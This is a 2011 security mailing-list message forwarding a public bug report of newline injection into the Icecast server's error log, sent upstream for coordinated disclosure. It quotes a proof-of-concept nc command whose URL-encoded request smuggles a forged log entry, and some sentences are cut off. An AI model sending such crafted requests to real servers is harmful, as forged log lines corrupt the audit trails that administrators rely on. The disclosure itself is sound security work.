[Icecast-dev] Security issue in icecast

Jamie Strandboge jamie at canonical.com
Thu Dec 15 10:25:40 PST 2011

A security bug was reported by Moritz Naumann against icecast in
Ubuntu. You are being emailed as the upstream contact. Please keep
oss-security at lists.openwall.com[1] CC'd for any updates on this issue.

This issue should be considered public and has not yet been assigned a

Details from the public bug follow:

From the reporter:
"Newline injection in error.log

Running this command against an icecast2 running on

echo -ne "GET /non-existent"'"'"%20No%20such%20file%20or%20directory%0d%
0a["`date "+%Y-%m-%d%%20%%20%H:%M:%S"`"]%20WARN%
20"'"'"/usr/share/icecast2/web/ HTTP/1.0\n\n" | nc -vv 8000
> /dev/null

...causes the following to be written to /var/log/icecast2/error.log:
[2011-11-25 15:37:31] INFO fserve/fserve_client_create checking for
file /non-existent" No such file or directory
[1970-01-01 00:00:00] PHUN I'm feeling phunny

Thanks in advance for your cooperation in coordinating a fix for this

[1] oss-security at lists.openwall.com is a public mailing list for
    people to collaborate on security vulnerabilities and coordinate
    security updates.

Jamie Strandboge             | http://www.canonical.com
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